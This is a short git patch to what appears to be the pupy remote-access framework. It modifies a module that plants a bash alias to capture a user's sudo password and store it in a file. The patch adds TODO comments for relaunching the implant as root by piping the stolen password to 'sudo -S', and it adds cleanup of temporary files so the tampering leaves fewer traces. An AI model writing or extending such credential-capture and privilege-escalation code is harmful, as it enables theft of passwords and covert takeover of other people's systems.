From 1020749ef15e58ebda6431fb6b7384cf7282e4e9 Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Mon, 24 Oct 2016 00:00:09 +0200 Subject: [PATCH] sudo alias changes: cleanning tmp files + adding to do list in comment --- pupy/packages/linux/all/sudo_alias.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/pupy/packages/linux/all/sudo_alias.py b/pupy/packages/linux/all/sudo_alias.py index 6a8b175a..981501f9 100644 --- a/pupy/packages/linux/all/sudo_alias.py +++ b/pupy/packages/linux/all/sudo_alias.py @@ -123,6 +123,10 @@ fi if os.path.exists(self.bashrc): self.original_bashrc_content = open(self.bashrc).read() + # TO DO + # launch pupy as root + # replace # [OPTIONAL_LINE] by echo "$password" | sudo -S + # write code to the tmp directory code = self.sudo_alias_code().replace('[STORE_PASSWORD]', self.password_file) open(self.alias_file, 'w').write(code) @@ -143,3 +147,6 @@ fi self.store_sudo_password(password) self.stopped = True time.sleep(5) + + # clean everything + self.clean_files() \ No newline at end of file